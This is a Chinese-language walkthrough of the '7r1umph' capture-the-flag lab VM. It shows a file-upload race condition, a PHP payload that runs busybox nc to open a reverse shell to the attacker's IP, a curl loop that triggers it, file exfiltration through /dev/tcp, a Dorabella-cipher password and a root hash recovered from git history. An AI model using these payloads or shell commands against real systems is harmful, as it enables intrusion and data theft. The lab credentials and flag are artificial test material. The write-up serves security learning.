

7r1umph

配置：

```
靶机用virtualBox制作，VMware导入可能网卡不兼容  
用户:todd 密码:qq660930334  
1. 启动虚拟机时按`e`键进入GRUB编辑模式  
2. 修改启动参数：将`ro`改为`rw single init=/bin/bash`  
3. 按Ctrl+X启动进入单用户模式  
vim /etc/network/interfaces  
allow-hotplug ens33  
iface ens33 inet dhcp  
  
ip link set ens33 up  
dhclient ens33  
  
reboot -f
```

端口扫描

```
[root@kali ~]# nmap -p- -min-rate 10000 -n -Pn -sCV 192.168.44.148  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-12-12 23:37 EST  
Nmap scan report for 192.168.44.148  
Host is up (0.00049s latency).  
Not shown: 65533 closed tcp ports (reset)  
PORT      STATE SERVICE VERSION  
22/tcp    open  ssh      OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)  
| ssh-hostkey:  
|_ 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)  
|_ 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)  
|_ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)  
80/tcp    open  http     Apache httpd 2.4.62 ((Debian))  
| http-title: Site doesn't have a title (text/html).  
| http-server-header: Apache/2.4.62 (Debian)  
MAC Address: 00:0C:29:0F:CC:75 (VMware)  
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel  
  
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 9.70 seconds
```

依旧是22,80端口

目录扫描

`index.php`有一个上传口, `/upload`和`/tmp`是可访问文件目录口, `/info.php`是php的`phpinfo`, 抓包走一遍文件上传逻辑

Index of /upload

<u>Name</u>	<u>Last modified</u>	<u>Size</u>	<u>Description</u>
 Parent Directory		-	
 shell.jpg.dsza	2025-12-13 04:27	32	
 shell.php.dsza	2025-12-13 04:26	32	

Apache/2.4.62 (Debian) Server at 192.168.44.148 Port 80

Index of /tmp

<u>Name</u>	<u>Last modified</u>	<u>Size</u>	<u>Description</u>
 Parent Directory		-	
 shell.jpg	2025-12-13 04:36	32	

Apache/2.4.62 (Debian) Server at 192.168.44.148 Port 80

文件上传的时候没啥限制，发现上传之后会在upload上但是后缀名加成.ds, 也会出现在/tmp上但是再点击的时候，就显示404，该文件也消失掉了，那思路应该就是这里了文件上传会短时间的到临时目录上，这时候条件竞争让文件解析，反弹shell，

条件竞争反弹shell

Core

PHP Version	8.3.19	
Directive	Local Value	Master Value
allow_url_fopen	On	On
allow_url_include	Off	Off
arg_separator.input	&	&
arg_separator.output	&	&
auto_append_file	no value	no value
auto_globals_jit	On	On
auto_prepend_file	no value	no value
browscap	no value	no value
default_charset	UTF-8	UTF-8
default_mimetype	text/html	text/html
disable_classes	no value	no value
disable_functions	system,passthru,shell_exec,proc_open,pcntl_exec,dl	system,passthru,shell_exec,proc_open,pcntl_exec,dl
display_errors	Off	Off
display_startup_errors	Off	Off
doc_root	no value	no value
docref_ext	no value	no value
docref_root	no value	no value
enable_dl	Off	Off
enable_post_data_reading	On	On
error_append_string	no value	no value

在这里构造的反弹shell的php代码要注意info中的禁用函数，不然效果不是很好，想到了用exec但是还是一直不行，看了这个博客才反弹出来的。

[7r1umph 鞍机渗透测试报告 \(Write-up\)](#)

```
<?php  
exec("busybox nc 192.168.44.128 4444 -e bash");  
?>
```

同时一直访问，和设置监听端口就好了

```
for i in $(seq 1000);do curl -s http://192.168.44.148/tmp/shell.php ;done  
nc -lvpn 4444
```

The screenshot shows the Network tab of a browser's developer tools. On the left, the Request section shows a POST request to /index.php with various headers and a multipart/form-data body containing shell.php. On the right, the Response section shows the server's HTTP/1.1 200 OK response with the content of index.php, which includes HTML for a CyberWave File Hub page and a CSS style block.

```
Request  
Pretty Raw Hex  
1 POST /index.php HTTP/1.1  
2 Host: 192.168.44.148  
3 Content-Length: 255  
4 Cache-Control: max-age=0  
5 Origin: http://192.168.44.148  
6 Content-Type: multipart/form-data;  
boundary=----WebKitFormBoundaryFXOGu7HsQ18AxwW5  
7 Upgrade-Insecure-Requests: 1  
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36  
(KHTML like Gecko) Chrome/143.0.0.0 Safari/537.36  
9 Accept:  
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/w  
ebp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7  
10 Referer: http://192.168.44.148/index.php  
11 Accept-Encoding: gzip, deflate, br  
12 Accept-Language: zh-CN, zh;q=0.9  
13 Connection:...keep-alive.  
14  
15 -----WebKitFormBoundaryFXOGu7HsQ18AxwW5  
16 Content-Disposition: form-data; name="file"; filename="shell.php"  
17 Content-Type: application/octet-stream  
18  
19 <?php  
20 exec("busybox nc 192.168.44.128 4444 -e bash");  
21 ?>  
22 -----WebKitFormBoundaryFXOGu7HsQ18AxwW5--  
23  
Response  
Pretty Raw Hex Render MarkInfo  
1 HTTP/1.1 200 OK  
2 Date: Sat, 13 Dec 2025 10:03:18 GMT  
3 Server: Apache/2.4.62 (Debian)  
4 Vary: Accept-Encoding  
5 Content-Length: 1664  
6 Keep-Alive: timeout=5, max=100  
7 Connection: Keep-Alive  
8 Content-Type: text/html; charset=UTF-8  
9  
10 <!DOCTYPE html>  
11 <html>  
12     <head>  
13         <title>  
CyberWave File Hub  
</title>  
<style>  
/* 保持原有样式不变 */  
body {  
background: linear-gradient(135deg, #1a1a1a, #2a2a2a);  
color: #fff;  
font-family: Arial;  
text-align: center;  
padding: 50px;  
}  
.hidden-upload {  
display: none;  
margin: 20px auto;  
padding: 20px;  
background: rgba(0, 0, 0, 0.3);  
... . . .  
17  
Done  
0 highlights  
0 highlights
```

The terminal session shows a user named www-data on a Kali Linux system. The user runs sudo su to become root, connects via nc to port 4444, and starts a bash shell. The root shell is used to run python3 -c 'import pty; pty.spawn("/bin/bash")' to spawn a new bash shell. The user then lists files in /var/www/html/tmp.

```
└─(kali㉿kali)-[~]  
$ sudo su  
[sudo] password for kali:  
└─(root㉿kali)-[/home/kali]  
# nc -lvpn 4444  
listening on [any] 4444 ...  
connect to [192.168.44.128] from (UNKNOWN) [192.168.44.148] 35792  
la  
ls  
whoami  
www-data  
python3 -c 'import pty; pty.spawn("/bin/bash")'  
www-data@7r1umph:/var/www/html/tmp$ ls  
www-data@7r1umph:/var/www/html/tmp$
```

权限提升

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

发现有个用户welcome，接下来就是翻翻模式了，发现有个文件和图片先看看文件，这里显示乱码，终端问题，先看图片去了

```
www-data@7r1umph:/home$ ls -la
ls -la
total 12
drwxr-xr-x  3 root      root      4096 Apr 11  2025 .
drwxr-xr-x 18 root      root      4096 Dec 12 23:36 ..
drwx-----  3 welcome   welcome   4096 Apr 12  2025 welcome
www-data@7r1umph:/home$ |
```

```
find / -type f -perm -4000 2>/dev/null
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/passwd
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1
```

```
www-data@7r1umph:/$ cd opt
cd opt
www-data@7r1umph:/opt$ ls -la
ls -la
total 56
drwxr-xr-x  2 root root  4096 Apr 12  2025 .
drwxr-xr-x 18 root root  4096 Dec 12 23:36 ..
-rw-r--r--  1 root root 16968 Apr 12  2025 guess
-rw-r--r--  1 root root 27871 Apr 12  2025 yeyleye.png
www-data@7r1umph:/opt$
```

```
cat yeyleye.png > /dev/tcp/192.168.44.128/4444  
nc -lvpn 4444 > yeyleye.png
```

ε ε ξ 3 > n c 3
 > n

感觉像一种编码的符号，思路是用户密码是不是被加密了，进这个dcode.fr里面chiffres-symbol找，看看有没有相应的编码方式--chiffre Dorabella yecongdong

Rechercher un outil

★ RECHERCHE SUR dCODE

Tapez par exemple 'tirage au'

★ PARCOURIR LA LISTE COMPLÈTE DES OUTILS

Résultats

YECONGDONQ

DÉCHIFFREMENT SELON DORABELLA

★ SYMBOLES UTILISÉS PAR ELGAR (CLIQUEZ POUR AJOUTER)

ε	ξ	Ξ	ε	ε	ξ	ξ	n	m	m
γ	ʒ	ʒ	ɔ	ʒ	ʒ	ʒ	ɔ	ɔ	ɔ
u	w	w	c	ε	ε	ε			

★ MESSAGE CHIFFRÉ PAR DORABELLA

ε ε Ξ 3 > n c 3 >

► DÉCHIFFRER

Voir aussi : Chiffre Tueur du Zodiac

CHIFFREMENT AVEC DORABELLA

权限再提升

```
ssh welcome@192.168.44.143 yecongdong
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

```
[sudo] password for welcome:
Sorry, user welcome may not run sudo on 7r1umph.
welcome@7r1umph:~/RegView$
```

```
welcome@7r1umph:~/RegView$ find / -type f -perm -4000 2>/dev/null
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/passwd
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/decrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1
```

```
$ ls -la
total 476
drwxr-xr-x 3 root      root      4096 Apr 12  2025 .
drwx----- 3 welcome  welcome   4096 Apr 12  2025 ..
drwxr-xr-x 8 root      root      4096 Apr 12  2025 .git
-rw-r--r-- 1 root      root      289 Dec  3  2024 poc.txt
-rw-r--r-- 1 root      root      936 Apr 12  2025 README.md
-rwxr-xr-x 1 root      root     3911 Apr 12  2025 RegView.sh
-rw-r--r-- 1 root      root    457296 Dec  3  2024 run.jpg
-rw-r--r-- 1 root      root     2095 Dec  3  2024 source.txt
```

怀疑点一个是.git, 一个是Regview.sh, 这个脚本是一个学习正则的, tmux终端真的难用又不能滚轮啥的好麻烦

```
$ cat README.md
# RegView
一个实现正则可视化的脚本，帮助我们更好地学习正则。
https://github.com/bamuwe/RegView
![jpg](./run.jpg)
```

- 需要在tmux终端下使用。
- 根据传入参数的不同有两种使用模式。
- 支持多种流派正则。

欢迎上传正则小难题，帮助大家提升正则水平

等待解决的问题或优化。

1. ~~增加对方向键的支持。~~
2. ~~使用perl替换sed获得更好的正则支持。~~
3. 将输入的正则表达式返回到输入缓冲区。
4. 对输入使用响应式处理替换原有的回车交互方式。
5. poc_content的内容匹配方式需要修改。
6. 增加一个帮助功能，查看正则语法。
7. 增加从命令行获取文本的功能，不依赖于现有文件。
8. 增加diff校验功能。
9. 优化正则对中文匹配的支持。

希望还有更新的一天，估计很长一段时间不会再回头看这个项目了hah

```
cat RegView.sh > /dev/tcp/192.168.44.128/4444  
nc -lvp 4444 > RegView.sh
```

```
fi  
if [[ $line == "yeyeye" ]];then  
    echo "yeyeye" ; yeyeye  
fi  
if [ -e "/etc/ld.so.preload" ]; then
```

输入yeyeye，就去执行yeyeye。构造恶意文件yeyeye去执行？也没有存在配置不当的SUID文件，回头看看.git再来

```
welcome@7r1umph:~/RegView$ git log  
commit acd806aad21acb61112252234c7707bc8a74dd3c (HEAD -> main)  
Author: bamuwe <bamuwe@qq.com>  
Date:   Sat Apr 12 01:33:50 2025 -0400  
  
    fix bug  
  
commit 900b75c25c03c4af30d8d05de61c01c723741ecc  
Author: bamuwe <bamuwe@qq.com>  
Date:   Sat Apr 12 01:32:22 2025 -0400  
  
    add source2.txt  
  
commit 8463edc3579f2bd9bab44d88fe906d2f3fbfe281 (origin/main, origin/HEAD)  
Author: bamuwe <bamuwe@qq.com>  
Date:   Wed Dec 4 00:02:43 2024 +0800  
  
    update source  
  
commit 0f298eef6be705ac6049ee027bb220934db84872  
Author: bamuwe <bamuwe@qq.com>  
Date:   Tue Dec 3 18:34:40 2024 +0800  
  
    update readme
```

查看添加的source2.txt文件，拿到root凭证

```
welcome@7r1umph:~/RegView$ git show 900b75c:source2.txt  
root:ff855ad811c79e5fba458a575fac5b83  
welcome@7r1umph:~/RegView$ |
```

```
welcome@7r1umph:~/RegView$ su root
Password:
root@7r1umph:/home/welcome/RegView# ls
poc.txt  README.md  RegView.sh  run.jpg  source.txt
root@7r1umph:/home/welcome/RegView# cd /homme
bash: cd: /homme: No such file or directory
root@7r1umph:/home/welcome/RegView# cd /home
root@7r1umph:/home# ls
welcome
root@7r1umph:/home# cd /root
root@7r1umph:~# ls
root.txt
root@7r1umph:~# cat root.txt
flag{root-ff855ad811c79e5fba458a575fac5b83}
root@7r1umph:~#
```

总结

在反弹shell一直打不通的时候想找其他语句来着，结果找到了wp7r1umph 鞍机渗透测试报告(Write-up)，还有风清的讲解视频 https://www.bilibili.com/video/BV1QodBYCE9t/?share_source=copy_web&vd_source=46dcac097257d547144350b30f96978c，就不是纯自己做的了。总体来说还好吧条件竞争-->Dorabella编码-->git历史命令，但是没有想到guess的md5就是root的密码，还是太超模了